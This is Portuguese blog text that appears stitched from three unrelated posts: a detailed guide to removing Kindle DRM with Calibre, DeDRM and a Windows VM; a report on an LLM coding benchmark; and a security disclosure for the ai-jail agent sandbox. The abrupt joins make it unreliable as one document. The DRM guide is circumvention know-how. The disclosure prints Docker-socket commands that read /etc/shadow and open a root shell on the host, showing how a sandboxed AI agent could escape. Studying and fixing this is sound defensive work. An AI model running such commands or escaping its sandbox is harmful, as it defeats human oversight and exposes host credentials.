Jailbreak do aparelho e remoção de DRM do ebook são problemas diferentes. Você não precisa desbloquear o Kindle pra seguir o resto deste artigo. Estou mencionando porque ambos partem da mesma ideia: hardware e mídia que já pagamos deveriam continuar úteis sem pedir bênção eterna ao fabricante.

Crash course: AZW, EPUB e KFX

DRM e formato de arquivo não são a mesma coisa. O formato diz como texto, imagens, fontes, índice e metadados são empacotados. DRM adiciona uma trava criptográfica por cima e decide qual conta, aplicativo ou aparelho consegue abrir aquilo.

Os três nomes que importam aqui são:

A extensão sozinha pode enganar. Parte de um livro KFX pode aparecer como .azw, .azw.res, .voucher e outras variações. O plugin KFX Input existe justamente pra entender esse conjunto.

O EPUB é bem menos misterioso. A especificação EPUB 3.3 o define como um container de arquivo único pra conteúdo Web estruturado. É basicamente um pequeno site empacotado. Qualquer leitor minimamente decente consegue implementar suporte sem depender de uma chave secreta da Amazon.

Calibre e os dois plugins

calibre é o canivete suíço de ebooks. É software livre, roda em Linux, macOS e Windows, organiza biblioteca, baixa metadados, edita capas, transfere livros e converte dezenas de formatos. Existe desde 2006 e nasceu justamente porque o primeiro Sony Reader não funcionava direito no Linux.

No Omarchy ou qualquer Arch, basta instalar o pacote:

sudo pacman -S calibre

Em outras distribuições, veja o download oficial. Não invente de instalar um pacote aleatório de site de downloads.

Uma pegadinha específica de ambientes com mise: se o Calibre morrer com ModuleNotFoundError: msgpack ou BrokenPipeError, provavelmente um shim de Python entrou antes de /usr/bin. O pacote do Arch precisa do Python do sistema. Inicie assim:

env PATH="/usr/bin:$PATH" /usr/bin/python3 /usr/bin/calibre

Isso não tem relação com DRM nem com os plugins. É só o helper do Calibre chamando o Python errado. No meu desktop deixei um launcher permanente com esse PATH.

O Calibre sozinho não remove DRM. Precisamos de dois plugins:

1. DeDRM reconhece e remove as travas de vários ecossistemas durante a importação. Ele só roda quando o livro entra na biblioteca. Clicar em Convert depois não remove nada.
2. KFX Input entende os containers modernos da Amazon, reúne as partes de um livro e permite converter o resultado pra EPUB.

No momento deste artigo, estou usando DeDRM 10.0.28, publicado em 14 de julho no fork mantido por Satsuoni. É um pre-release. Baixe o asset chamado DeDRM_tools.zip, nunca um executável solto de algum mirror obscuro.

Eu descompactei tudo numa pasta que depois fica compartilhada com a VM Windows:

mkdir -p ~/Windows/Kindle-DeDRM/v10.0.28
unzip ~/Downloads/DeDRM_tools.zip -d ~/Windows/Kindle-DeDRM/v10.0.28

O SHA-256 do DeDRM_tools.zip que usei foi:

520cce704edf9ae26e43196efe2871daf9b25d6cb489aa56051626801c362947

Confira com sha256sum. Isso não transforma um binário comunitário em software magicamente seguro, mas pelo menos garante que está usando o mesmo arquivo que eu testei.

Dentro da pasta existe DeDRM_plugin.zip. Não descompacte esse segundo ZIP. No Calibre, abra Preferences → Plugins → Load plugin from file, escolha DeDRM_plugin.zip, aceite o aviso e reinicie o programa.

Depois volte em Preferences → Plugins → Get new plugins, procure por KFX Input e instale. Meu teste usou a versão 2.33.0. Reinicie de novo.

Por que copiar do Kindle pelo USB não resolveu

O caminho mais simples ainda seria ligar meu Kindle Paperwhite novo no cabo, copiar o livro e configurar o serial do aparelho no DeDRM. Foi o primeiro teste que fiz.

O arquivo entrou como KFX-ZIP, o plugin rodou, mas continuou criptografado. Abri o Calibre em debug e o log mostrou que esse livro usava a estratégia ACCOUNT_SECRET. O serial estava certo. O problema é que a chave necessária não vinha mais apenas do aparelho.

É por isso que muita gente segue tutorial antigo, tenta cinco serial numbers diferentes e conclui que o DeDRM está quebrado. Pra livros novos com esse DRM, precisamos do segredo que o aplicativo Kindle atual guarda no Windows. E esse segredo é protegido pelas APIs do TPM.

Um Windows descartável dentro do Omarchy

Eu não vou manter dual boot só pra baixar ebook. Também não vou fingir que Wine roda tudo. Felizmente, o Omarchy já vem preparado pra instalar e abrir uma VM Windows: ela aparece no próprio menu do sistema, abre por RDP e compartilha ~/Windows automaticamente com o guest. Não precisei montar essa integração do zero.

Por baixo, ele usa o dockur/windows. O dockur empacota QEMU/KVM num container e automatiza a instalação do Windows. Continua sendo uma máquina virtual de verdade, com disco e kernel próprios. O container só organiza a distribuição, configuração e ciclo de vida.

Pra instalar pelo terminal, rode:

omarchy-windows-vm install

Escolha RAM, CPUs e tamanho do disco. O instalador cria ~/.config/windows/docker-compose.yml, guarda o disco virtual em ~/.windows e compartilha ~/Windows com o guest. Dentro do Windows, essa pasta aparece como Shared, normalmente em Z:, e também fica acessível por \\host.lan\Data.

O detalhe que fez diferença no meu caso foi habilitar TPM 2.0. Edite o Compose gerado e acrescente TPM: "Y" no bloco environment:

services:
  windows:
    image: dockurr/windows
    environment:
      VERSION: "11"
      TPM: "Y"

Depois recrie o container. O disco do Windows continua no volume persistente:

omarchy-windows-vm stop
omarchy-windows-vm launch -k

O -k deixa a VM ligada quando você fechar o RDP. Também dá pra acompanhar pelo navegador em http://127.0.0.1:8006.

Baixando os livros pelo aplicativo certo

Dentro do Windows, abra a Microsoft Store e instale Amazon Kindle: Reading App, produto 9P8JQ0JJSTLL.

Preste atenção aqui. O instalador antigo de Kindle for PC encontrado em blogs não é o mesmo aplicativo. A ferramenta que usei procura o pacote AMZNKindle.AmazonKindleReadingApp da Microsoft Store. Com o programa legado, ela simplesmente responde No AmazonKindleReadingApp installation found.

Entre na sua conta e mande baixar localmente cada livro que quer preservar. Abrir a capa ou ver o título na biblioteca não basta. O conteúdo precisa estar disponível offline dentro do app.

Infelizmente, a parte mais chata continua manual. A Amazon sabe colocar botão de compra com um clique, mas não achou espaço pra um “baixe tudo que eu já paguei”.

Eu fiz isso em 106 livros. Sim, foi um saco.

Gerando os KFX-ZIP e a chave K4I

O DeDRM_tools.zip que descompactamos no Linux já está visível no Windows por causa da pasta compartilhada. Abra PowerShell e entre nela:

cd \\host.lan\Data\Kindle-DeDRM\v10.0.28
.\MSIXKFXArchiverMobi1_18632.exe

O banner ainda pode mencionar uma build antiga 1.0.15230. O executável versionado acima procura a Store app 1.0.18632 e foi o que funcionou comigo.

Esse executável localiza o cache da versão atual da Microsoft Store, reúne os componentes de cada livro e gera duas coisas:

• archived_kfx/, com um .kfx-zip pra cada ebook baixado;
• oldbooks.k4i, o keyfile que o DeDRM precisa pra abrir aqueles arquivos.

Na minha máquina, o processo encontrou e arquivou 106 livros. O SHA-256 do executável que rodei foi:

0c78b45ccea2c36a5fbb01b9f66bdd9e5d5960a68a340ba2ee96e138f5cddf4a

Ele é um binário de 32 bits. Se reclamar que falta MSVCP140.dll, instale o Microsoft Visual C++ Redistributable x86 oficial. Não procure DLL avulsa no Google. Esse é um ótimo jeito de transformar backup de livro em backup de malware.

O oldbooks.k4i é sensível. Ele deriva do segredo da sua conta naquela instalação do Kindle. Não publique, não mande em issue do GitHub, não tire screenshot do conteúdo e não coloque em repositório aberto.

Configurando a chave no DeDRM

De volta ao Linux, abra o Calibre e siga:

Preferences → Plugins → DeDRM → Customize plugin → Kindle for Mac/PC ebooks → Import Existing Keyfiles

Selecione:

~/Windows/Kindle-DeDRM/v10.0.28/oldbooks.k4i

Use Import Existing Keyfiles. Não use o botão genérico Set Keyfile da tela principal. Ele grava outro tipo de candidato e não cadastra a chave K4I no lugar certo.

Feche a lista de chaves, clique em OK na configuração principal e reinicie o Calibre. Se fechar com Cancel, ele joga a alteração fora sem cerimônia.

Importando e convertendo pra EPUB

Antes de despejar cem arquivos na biblioteca, teste um.

Escolha um .kfx-zip dentro de:

~/Windows/Kindle-DeDRM/v10.0.28/archived_kfx/

Use Add books no Calibre. A ordem interna é esta:

1. KFX Input reconhece o pacote;
2. DeDRM tenta as chaves K4I durante a importação;
3. KFX Input monta o livro descriptografado como KFX;
4. Calibre passa a conseguir abrir e converter o resultado.

Se o formato continuar aparecendo como KFX-ZIP, deu errado. Não adianta apertar Convert dez vezes. Remova aquela entrada da biblioteca, corrija plugin ou chave e importe de novo. DeDRM só atua na entrada.

Quando o livro aparecer como KFX, abra no viewer e confira algumas páginas. Depois clique em Convert books, escolha EPUB como saída e teste o arquivo resultante no leitor onde pretende usar. Só depois disso faça a importação em lote.

No meu caso, o KFX abriu, converteu e o EPUB funcionou fora do Kindle. Com isso eu sabia que o caminho inteiro estava funcionando: Microsoft Store, TPM, archiver, K4I, DeDRM 10.0.28 e KFX Input 2.33.0.

Faça backup do que realmente importa

Depois da conversão, eu preservo três coisas:

• os EPUBs finais, que leio em qualquer aparelho;
• os KFX-ZIP originais, até conferir que todos os EPUBs estão íntegros;
• o oldbooks.k4i, criptografado e separado da biblioteca.

Meu keyfile em texto puro fica com permissão 0600. Também mantenho uma cópia criptografada com SOPS e age, enquanto a chave privada fica em outro backup. Não coloque oldbooks.k4i cru no Git só porque o repositório é privado. Repositório privado vaza também.

Os EPUBs entram na mesma estratégia que uso pros outros arquivos importantes: cópia local, NAS e backup off-site. Já expliquei essa paranoia em Protegendo e Recuperando Dados Perdidos e mostrei a mesma filosofia aplicada a filmes no meu Netflix Pessoal.

Não apague os arquivos do Kindle ou da VM no minuto em que a conversão termina. Abra os EPUBs, veja capa, índice, imagens, notas e algumas páginas. Backup que nunca foi testado é só torcida organizada.

Conclusão

Amazon já apagou livros remotamente, editoras atualizam capas e conteúdo, aplicativos antigos param de funcionar e formatos mudam. O próprio fim do download via USB mostrou que uma função disponível por dezoito anos pode desaparecer com uma linha num aviso.

O exemplo clássico continua inacreditável: em 2009 a Amazon apagou 1984 e Animal Farm, de George Orwell, dos Kindles de clientes. Depois vieram revisões de Roald Dahl, R.L. Stine e Agatha Christie empurradas pra cópias digitais que já tinham sido compradas. O artigo da Vice resume esses casos. O Dammit Jeff também bate muito nessa tecla: até a capa original que você escolheu pode virar pôster feio da adaptação do streaming porque publisher e loja decidiram atualizar sua “compra”.

Não importa se a alteração futura é censura, correção legítima, nova capa horrorosa de adaptação da Netflix ou apenas um bug. Eu comprei uma edição. Quero preservar a edição que comprei.

DRM não impede pirataria. Livro popular aparece em torrent no dia do lançamento. DRM só atrapalha o cliente que pagou, dificulta acessibilidade, prende hardware ainda bom e transforma uma compra em aluguel por prazo indefinido.

Calibre, DeDRM, KFX Input e uma VM descartável devolveram minha biblioteca. Agora posso colocar os EPUBs no Xteink, num Kobo, num tablet, no celular ou num leitor que ainda nem existe. Posso trocar de sistema operacional e posso desligar a internet. Os arquivos continuam comigo.

Se não está na sua máquina, não é seu.

Ótimo. A tabela do primeiro artigo já virou peça de museu.

O argumento do segundo continua valendo. Na verdade, ficou ainda mais fácil de demonstrar, porque passei os últimos dias refazendo praticamente o benchmark inteiro. Foram dezenas de runs, várias tentativas descartadas, centenas de dólares entre API e créditos equivalentes, e uma quantidade indecente de tempo lendo código Rails gerado por robô.

O resultado é a versão 2 do meu LLM Coding Benchmark. A prova ficou mais difícil, a auditoria ficou mais explícita e cada família passou a rodar, sempre que possível, no harness onde deveria funcionar melhor.

E já vou adiantar: os scores do v2 não são comparáveis diretamente aos do v1. Mudaram o prompt, os requisitos, o harness de vários modelos, a validação e a rubrica. A coluna v1 no relatório serve como histórico, não como medição científica de quanto cada modelo “evoluiu”.

Por que aposentei o v1

Rodamos o v1 por meses. Ele serviu muito bem pra separar quem realmente conseguia construir um app Rails de quem inventava APIs do RubyLLM, escrevia testes pra própria alucinação e entregava Dockerfile que nunca subia.

Só que os modelos novos chegaram ao teto daquela prova. Quinze dos quarenta resultados já estavam comprimidos no Tier A, com o topo entre 92 e 97. O trabalho ainda tinha detalhes reais, mas os melhores modelos passavam pelos antigos discriminadores com facilidade. A ordem começava a depender de um preflight de API key aqui, um limite de cookie ali, um teste de erro que faltou. Detalhes válidos, pouca separação.

Também havia uma inconsistência operacional: a combinação entre modelo e harness. Claude tinha sido testado no OpenCode, Grok também, Kimi também, Gemini também. Só que hoje temos Claude Code, Codex, Kimi Code CLI, grok CLI e Antigravity. Medir um modelo num harness genérico quando existe uma integração feita pro comportamento dele pode distorcer o resultado.

O que o benchmark mede nunca foi apenas o arquivo de pesos:

resultado = modelo + harness + prompt + tools + contexto + execução + auditoria

Então resolvi parar de esconder o harness dentro da nota. Claude foi pro Claude Code. GPT foi pro Codex. Kimi K3 e K2.7-Coding foram pro Kimi CLI. Grok e Gemini ganharam rodadas A/B nos CLIs dos próprios vendors. OpenCode, completamente isolado, continuou como fallback pros modelos sem harness melhor ou sem acesso por assinatura.

A prova nova

O v1 tinha duas fases: construir e tentar subir. O v2 tem três fases, quatorze objetivos numerados e uma rubrica de dez dimensões.

Na primeira fase, o modelo ainda precisa construir sozinho um chat estilo ChatGPT em Rails com RubyLLM, Hotwire, Tailwind, Minitest, Docker e Compose. A semelhança termina aí. Agora ele também precisa entregar:

• streaming real por token via Turbo Streams, comprovadamente incremental;
• payload multi-turn sem mandar a mensagem atual duas vezes, com um teste da array exata enviada ao provider;
• persistência que sobreviva a restart e funcione com WEB_CONCURRENCY=2, com TTL e limites de quantidade e bytes;
• exatamente duas tools, server_time e uma calculadora segura, usando a API real do RubyLLM;
• título gerado pela API de structured output;
• orçamento de tokens por conversa;
• system prompt, preflight de credencial, estados degradados e tratamento dos erros do provider;
• garantia de que turnos que falharam nunca contaminem o histórico futuro;
• RuboCop, Brakeman e bundle-audit limpos, além de Docker de produção non-root e ausência de secrets.

A segunda fase não aceita um README dizendo que funciona. Ela sobe o Rails, observa os tokens chegando, força chamadas reais às tools, mantém uma conversa com dois workers, reinicia o servidor, confere o histórico, roda os testes e gates, faz docker build e manda uma mensagem real pro app dentro do Compose.

A terceira fase pede que o próprio modelo revise cada objetivo como PASS, PARTIAL ou FAIL, cite arquivo, linha, teste ou comando e escreva o que ainda está quebrado. Essa honestidade vale 15 pontos. Um FAIL correto vale mais que um PASS otimista que a auditoria desmente.

Essa fase trouxe um dado que o v1 não tinha. Kimi K3 e Nex, por exemplo, admitiram defeitos que seria fácil esconder. Outros construíram um app razoável e depois alucinaram a própria inspeção. Saber programar e saber revisar o que programou são capacidades diferentes.

O harness também entrou no teste

Também fiz A/Bs com as ferramentas nativas:

O harness nativo não joga pó mágico no modelo. Grok 4.5 praticamente não ligou. Grok 4.3 precisava da estrutura. Gemini 3.1 precisava de um transporte que não quebrasse com Corrupted thought signature. Três mecanismos diferentes, que uma comparação apressada chamaria simplesmente de “o CLI melhorou a nota”.

No ranking abaixo, uso o harness preferencial quando existe uma rodada completa: Antigravity pros Geminis e grok CLI pros Groks. Os baselines de OpenCode continuam no repositório como A/B, mas não aparecem uma segunda vez na tabela.

O novo ranking

Esta é a tabela consolidada do v2, com uma entrada por modelo no harness preferencial disponível.

Tempo é o wall clock de ponta a ponta das três fases. Custo é equivalente em API: nos modelos no Codex uso o valor blended com desconto de cache (mesmo critério da seção de custos abaixo); em planos de assinatura (Z.ai, grok CLI) o custo marginal é $0 e o número entre parênteses é o equivalente em API; as rodadas no Antigravity eram preview e não foram medidas.

Os detalhes, artefatos e deduções estão no relatório completo do v2.

O que os tiers querem dizer agora

O novo corte foi ancorado no Claude Opus 4.6, que fez 83 e mostrou o mínimo necessário pra carregar a prova inteira. A interpretação prática ficou assim:

Temos 15 modelos no A.1 e 9 no A.2. Os 24 passaram do piso de competência pra esse tipo de trabalho. A subdivisão ajuda a escolher por onde começar: A.1 concentra os resultados de fronteira; A.2 reúne modelos competentes que exigiram mais consertos, deixaram testes mais rasos ou carregaram limitações operacionais mais claras.

Isso não transforma 96 em uma inteligência universalmente maior que 91, nem torna um A.2 ruim. Um modelo A.2 pode ser melhor em refactor, debugging, frontend ou dentro do seu monolito de quinze anos. A prova não mede tudo isso. O corte só evita colocar 24 opções num balde grande demais.

A.1 e A.2 formam o grupo de candidatos. Tier C e D são grupos que eu corto antes de começar.

Afinal, qual é o melhor: Fable, Opus, Terra ou Kimi?

Se você só quer uma resposta de uma linha, vai se decepcionar de novo.

No artefato final, Fable ganhou. Também foi o mais rápido entre esses quatro. Se eu estivesse pagando cada chamada de API dessa rodada, o Kimi K3 ganhou de lavada no custo, empatado com Opus em 95 e só um ponto abaixo de Fable.

Opus 5 fez um projeto excelente, mas foi o mais lento e gastou 56,8 milhões de tokens somados pelo Claude Code. Nesta prova ele não comprou nada visível com os 33 minutos extras sobre Fable. Terra também entregou bem, ficou dois pontos abaixo de K3 e custou menos que Fable e Opus no equivalente de API.

Quem já paga Claude Max ou ChatGPT Pro tem custo marginal próximo de zero enquanto estiver dentro dos limites. Kimi Moderato também é assinatura, com janelas de quota próprias. Portanto, “$26 contra $6” não decide sozinho. A primeira pergunta é qual assinatura você já paga e quanto limite ainda tem. Pra pay-as-you-go e automação, aí sim o custo por execução volta pro centro.

Minha leitura desse run:

• Fable 5 entregou o melhor pacote de qualidade e tempo;
• Kimi K3 foi o melhor custo-benefício entre os líderes;
• Opus 5 foi competente e meticuloso, mas caro e lento nesta execução;
• GPT 5.6 Terra entregou o melhor equilíbrio da família pra quem vive no Codex.

É uma leitura deste projeto. Troque o workload e a ordem pode virar.

Opus contra Sonnet, Sol contra Terra

Nome de tier não é benchmark. O Sonnet 5 provou isso de um jeito quase constrangedor:

Sonnet 5 empatou com Opus 5, terminou dezenove minutos antes e produziu a primeira cobertura de linhas realmente 100% de todo o benchmark. Também fez a melhor self-review da família. Escolher Opus automaticamente porque “Opus é a tier maior” seria jogar os próprios dados fora.

Isso também corrige uma impressão péssima do v1, onde Sonnet 5 tinha feito 58 e alucinado a API do RubyLLM. No v2 ele rodou no Claude Code, recebeu requisitos explícitos e fez 95. Não dá pra concluir que o modelo melhorou 37 pontos porque mudamos quase todo o experimento. Dá pra concluir que a combinação v1 era uma representação ruim do que ele consegue fazer.

Do lado da OpenAI:

Terra empatou com Sol em 93, terminou oito minutos antes e custou pouco mais de um terço no cálculo blended. Também produziu a melhor proteção de concorrência de toda a rodada: Redis com WATCH/MULTI, lock distribuído por conversa e escolha forçada de tool. Nesta prova, pagar pelo Sol não comprou nenhum ponto nem economizou tempo. Terra é a escolha mais racional da família.

Luna continua na tabela porque fez 91 e ainda é um resultado A.1, mas perdeu o argumento de custo: Terra ficou dois pontos acima por apenas treze centavos a mais e levou cerca de três minutos extras.

O detalhe importante continua sendo o cache. Dos 21,7 milhões de tokens de input do Terra, 21 milhões eram cache hits. Cobrar tudo como input novo daria um teto de $111,62. Com a tarifa de cache, cai pra $16,92. Qualquer tabela de custo que mistura CLIs sem entender o que cada uma reporta está comparando banana com JSON.

E os modelos chineses?

A conversa de que modelo chinês só serve como alternativa barata ficou velha.

Kimi K3 empatou com Opus 5. K2.5, K2.6, MiniMax M3 e GLM 5.2 ficaram no mesmo A.1 de Claude e GPT. As execuções via OpenCode continuam mais baratas que a faixa de $16 a $45 dos líderes rodados em Claude Code e Codex, mas já não é uma comparação de centavos contra dezenas de dólares. E assinatura não é API: o GLM teve custo marginal zero porque rodou no plano da Z.ai; o mesmo consumo sairia por cerca de $12,05 via API.

O Kimi é a família mais fácil de recomendar hoje. K3 oferece qualidade de topo na assinatura barata. K2.5 e K2.6 foram econômicos via API, custando $1,50 e $2,64. K2.7 ficou abaixo dos irmãos, mas rodou em outro harness, então não vou inventar uma historinha de evolução linear com quatro pontos isolados.

MiniMax M3 merece atenção e cautela na mesma medida. Fez 91 por $7,72, ainda abaixo de uma rodada nos líderes americanos, mas gastou 121 milhões de tokens e levou quase duas horas. Foi a execução mais cara e mais voraz em tokens entre as rodadas de OpenCode. O score é bom; o perfil de uso, nem tanto.

GLM 5.2 fez 92 com custo marginal zero no plano da Z.ai, mas consumiu o equivalente a $12,05 em API. Levou cerca de duas horas e meia. Se tempo de wall clock não importa, é uma opção muito forte. Se você trabalha em ciclos curtos, Grok 4.5 entregou 91 em cerca de 25 minutos no grok CLI, mais de seis vezes mais rápido.

DeepSeek continua barato, mas parou no Tier B. V4 Pro fez 82 por $0,35 e V4 Flash fez 80 por $0,81. Estão perto e quero repetir quando vier uma versão nova. Hoje eu ainda não usaria nenhum dos dois pra deixar um coding agent trabalhando sozinho numa codebase que importa. Economizar um ou dois dólares pra depois gastar uma hora revisando defeito estrutural é uma conta ruim.

Por que não refiz os modelos locais

Não rodei Qwen 3.5 e os outros modelos locais no v2. A prioridade passou a ser mapear melhor o Tier A de programação, e cada execução completa dessa prova custa tempo de máquina, auditoria e sanidade.

Os locals não são inúteis. Servem pra tradução, classificação, resumo, one-shot controlado e tarefas onde privacidade ou operação offline pesa mais que qualidade. Já pra coding agent autônomo, os testes do v1 ficaram muito abaixo do piso. A prova v2 é mais difícil. Não vejo motivo pra gastar vários dias confirmando de novo que um Qwen quantizado local não compete com Fable, Opus, GPT 5.6 ou Kimi em engenharia de software.

Pra programação, hoje não vale a pena. Se surgir um modelo local novo com evidência forte, eu testo. Até lá, prefiro gastar tempo diferenciando os vinte e quatro modelos que já passaram do piso.

Conclusão

O v1 cumpriu seu papel e saturou. O v2 aperta onde os modelos atuais ainda escorregam: streaming de verdade, payload multi-turn, concorrência, persistência, tools, structured output, orçamento, segurança operacional, teste fiel e capacidade de admitir o próprio defeito.

Fable 5 ficou no topo com 96. Sonnet 5, Opus 5 e Kimi K3 empataram em 95. Sol e Terra vieram logo atrás com 93. Isso responde quem produziu os melhores projetos nesta prova.

Pra escolher o que usar, a leitura prática é outra:

• Tier A.1 reúne os 15 resultados de fronteira, todos com 90 ou mais;
• Tier A.2 reúne 9 modelos competentes entre 83 e 89, ainda recomendáveis com revisão mais atenta;
• Tier B está perto, mas ainda não recomendo pra trabalho autônomo;
• Tier C fica pra tradução, resumo e agentes simples;
• Tier D tem comportamento inconsistente demais pra eu recomendar;
• dentro do Tier A, escolha por assinatura, velocidade, custo e harness;
• um ou dois pontos não transformam ninguém no campeão universal de inteligência.

Minha escolha pessoal continua concentrada em Claude Code e Codex porque são os harnesses que uso todo dia. Dentro do Codex, Terra entregou o melhor equilíbrio entre score, tempo e custo. Kimi K3 virou uma alternativa séria de topo. Grok 4.5 é o campeão de velocidade desta rodada. GLM tem custo marginal zero na assinatura e MiniMax ainda custa menos que os líderes, mas nenhum dos dois é escolha de velocidade. Sonnet 5 provou que pagar ou selecionar a tier “maior” por reflexo pode ser desperdício.

Todo o código gerado, prompts, resultados, self-reviews, rubrica e correções estão no llm-coding-benchmark. A grande reforma de código e testes já está no master. Contribuições são bem-vindas, seja pra adicionar modelo, melhorar o harness, contestar uma dedução ou encontrar mais um bug no auditor.

Só traga artefato e dado. Opinião de ranking já tem demais.

O report procedia, e a correção já está disponível na v1.16.0.

Atualize pra v1.16.0

Se você usa o ai-jail, o update é o de sempre:

# Arch Linux (AUR)
yay -Syu ai-jail-bin

# Homebrew (macOS / Linux)
brew update && brew upgrade ai-jail

# crates.io
cargo install ai-jail --force

# mise
mise cache clear && mise upgrade github:akitaonrails/ai-jail

O que mudou na v1.16.0

Até a v1.15.x, o ai-jail montava o socket do Docker dentro da jaula automaticamente, sempre que /var/run/docker.sock existia no host. Read-write. Sem aviso, sem flag, sem pedir opinião. Eu documentei isso no README como “favorece usabilidade”, e era verdade: agente de coding frequentemente precisa rodar um docker compose pra subir banco de testes, e o passthrough automático poupava configuração.

A partir da v1.16.0 o comportamento inverteu:

• O passthrough do socket ficou desligado por padrão. Só entra se você pedir explicitamente com a flag --docker ou com no_docker = false no .ai-jail.
• Quando você liga e existe um socket no host, o ai-jail imprime um aviso na largada deixando claro que aquilo equivale a dar root no host pro processo dentro da jaula.
• O ai-jail status agora mostra Docker como disabled (default), pra ninguém achar que ligou sem querer.
• Nos modos --lockdown e browser profile o socket nunca entra, como já era antes.

Mudança de comportamento, sim, e de propósito. Se o seu workflow depende de Docker dentro da jaula (o meu depende em alguns projetos), o opt-in é uma linha no .ai-jail do projeto:

no_docker = false

O nome do campo ficou feio (no_docker = false pra ligar, eu sei), mas configs antigas continuam parseando igual e o --no-docker / no_docker = true funcionam como antes. Só o default mudou. Os detalhes estão nas release notes da v1.16.0.

O que o issue #88 mostrou

O report do mdindoffer é daqueles que todo mantenedor quer receber: resumo preciso, repro em poucas linhas, proposta de correção. A essência:

O ai-jail montava o socket cru do Docker dentro da sandbox, read-write. O daemon do Docker roda como root no host. Logo, um agente dentro da jaula podia rodar isto:

docker run --rm -v /:/host alpine sh -c 'cat /host/etc/shadow'

E pronto. Leitura de qualquer arquivo do host, como root. Isso derrota de uma vez só o $HOME em tmpfs, o --mask, o --deny-path e o Landlock, porque a ação deixa de acontecer dentro da sandbox: acontece no daemon, que vive fora e acima de qualquer namespace que o bwrap criou. O agente nem precisa escapar da jaula quando a jaula tem uma porta que dá direto na sala de máquinas.

Em retrospecto, deixar isso ligado por padrão foi uma falha de design. Eu sabia que o passthrough era “perigoso” no abstrato, tanto que escrevi isso no README. O que eu não tinha internalizado: perigoso desse jeito, com esse default, já é vulnerabilidade.

O mdindoffer ainda propôs o caminho de hardening definitivo: em vez de montar o socket cru, interpor um proxy filtrado (estilo o wollomatic/socket-proxy) que só aceita bind mounts de caminhos que o agente já pode escrever dentro da jaula. Está no radar pra uma versão futura. Pra fechar o buraco agora, opt-in com aviso explícito resolve o default, que era onde o problema morava.

A classe de vulnerabilidade: docker.sock é root

Essa não é a primeira vez que eu esbarro nessa história, e aposto que também não é a sua. “Quem tem acesso ao socket do Docker tem root no host” é um dos clássicos da segurança de containers, documentado pela própria Docker na página de daemon attack surface: só usuários confiáveis devem controlar o daemon, porque o Docker permite compartilhar qualquer diretório do host com um container, sem restrição nenhuma de acesso.

O motivo técnico é simples. O dockerd é um daemon que roda como root e obedece comandos que chegam pela API no socket Unix /var/run/docker.sock. A CLI docker é só um cliente dessa API. Quando você pede docker run -v /:/host, quem cria o container e monta o filesystem inteiro do host dentro dele é o daemon, com privilégio total. E processo dentro de container roda como uid 0 por padrão, que o kernel enxerga como uid 0 de verdade (salvo user namespace remapping, que quase ninguém liga). A conta fecha: acesso de escrita no socket equivale a root no host. O grupo docker é sudo sem senha com outro nome.

A demonstração, na sua máquina

Se você tem Docker instalado e seu usuário no grupo docker, reproduz agora. Sem sudo, sem explorar bug nenhum:

# confirme que você é um usuário comum
$ id
uid=1000(akitaonrails) gid=1000(akitaonrails) groups=...,docker

# tente ler o /etc/shadow diretamente: negado, como esperado
$ cat /etc/shadow
cat: /etc/shadow: Permission denied

# agora peça pro daemon fazer isso por você
$ docker run --rm -v /:/host alpine sh -c 'head -3 /host/etc/shadow'
root:$6$...:...
bin:!:...
daemon:!:...

E se quiser o pacote completo, uma shell de root no seu próprio host:

$ docker run --rm -it -v /:/host alpine chroot /host /bin/bash
# id
uid=0(root) gid=0(root) groups=0(root)

Nenhum exploit, nenhum 0-day. Você usou a API oficial, do jeito documentado, e saiu de usuário comum pra root em um comando. Era exatamente isso que um agente dentro do ai-jail conseguia fazer até hoje, mesmo com todas as camadas (bwrap, Landlock, seccomp, rlimits) ligadas.

Por que isso ainda existe?

Se todo mundo sabe disso há mais de uma década, por que ninguém “consertou”? A resposta curta: isso é arquitetura, e arquitetura não se resolve com patch.

• O daemon root com API todo-poderosa foi o design que fez o Docker simples de operar. Autorização granular por requisição existe na forma de authorization plugins, mas é opt-in, chata de configurar, e eu conto nos dedos os setups que já vi usando.
• O userns-remap existe desde o Docker 1.10 e mapeia o root do container pra um usuário sem privilégio no host. Vem desligado de fábrica, porque quebra compatibilidade com imagens e volumes que assumem uid 0.
• O rootless mode roda o daemon inteiro como o seu usuário, com o socket em $XDG_RUNTIME_DIR/docker.sock. Funciona, mas tem restrições de rede e storage, e a internet inteira de tutoriais assume o daemon root no caminho clássico.
• O Podman nasceu rootless e sem daemon justamente por causa dessa crítica. Tem uma seção inteira sobre ele logo abaixo.

Resumindo: isso vai continuar existindo. Toda ferramenta que monta /var/run/docker.sock dentro de um ambiente “pra conveniência” abre o mesmo buraco, consciente ou não. CI que monta o socket pra build de imagem, IDE remota, code-server, sandbox de agente de IA (oi, eu), plugin de painel web. O ajuste fica sempre do lado de quem monta o ambiente.

Curiosidade: isso é tudo, menos novo

Se você me acompanha há algum tempo, essa história toda deve ter dado déjà vu. Em 2023 eu gravei o [Akitando #139] - Entendendo Como Containers Funcionam, onde eu explico o que um container realmente é: um processo comum do Linux, limitado por cgroups, enganado por namespaces, com as capabilities cortadas. Sem mágica e sem máquina virtual. E olha o que já estava na lista de links daquele episódio: um walkthrough de privilege escalation via Docker, demonstrando exatamente o truque do docker run -v /:/host. O buraco que o issue #88 explorou dentro do ai-jail é o mesmo que eu já apontava num video de 2023, e que já era manjado muito antes disso.

Ninguém sabe disso melhor que a Red Hat. O Podman nasceu lá em 2018 como resposta direta a essa arquitetura: sem daemon central, rootless por padrão. Cada container vira filho direto do seu usuário, via fork-exec, sem um processo todo-poderoso rodando como root intermediando nada. O “docker.sock é root” simplesmente não existe nesse modelo, porque não existe nem docker.sock, nem daemon, nem root.

E antes que você pergunte: sim, eu uso Podman em algumas coisas e recomendo. Mas ele também não é solução perfeita, e vale entender o porquê.

O que o Podman faz bem:

• A arquitetura certa. Daemonless e rootless desde o dia zero. A classe inteira de vulnerabilidade deste artigo perde o sentido.
• Compatibilidade de CLI. alias docker=podman cobre a maioria esmagadora dos comandos do dia a dia. Build, run, push, pull: mesmos comandos, mesmas flags.
• Integração com systemd. Os Quadlets são, na minha opinião, o jeito mais limpo de rodar container como serviço no Linux. O Docker nunca chegou perto disso.

E onde ele tropeça:

• O socket de compatibilidade não é 100%. O Podman oferece um socket compatível com a API do Docker (o podman.socket), e muita ferramenta funciona em cima dele. Mas “muita” não é “toda”: Testcontainers, alguns plugins de IDE, ferramentas de CI mais exóticas tropeçam em diferenças de comportamento. Funciona até o dia em que não funciona, e aí você perde uma tarde debugando.
• Compose é cidadão de segunda classe. O docker compose oficial até conversa com o socket do Podman, e existe o podman-compose, mas nenhum dos dois tem a mesma redondeza do par original. Projeto com compose complicado é onde a migração costuma enroscar.
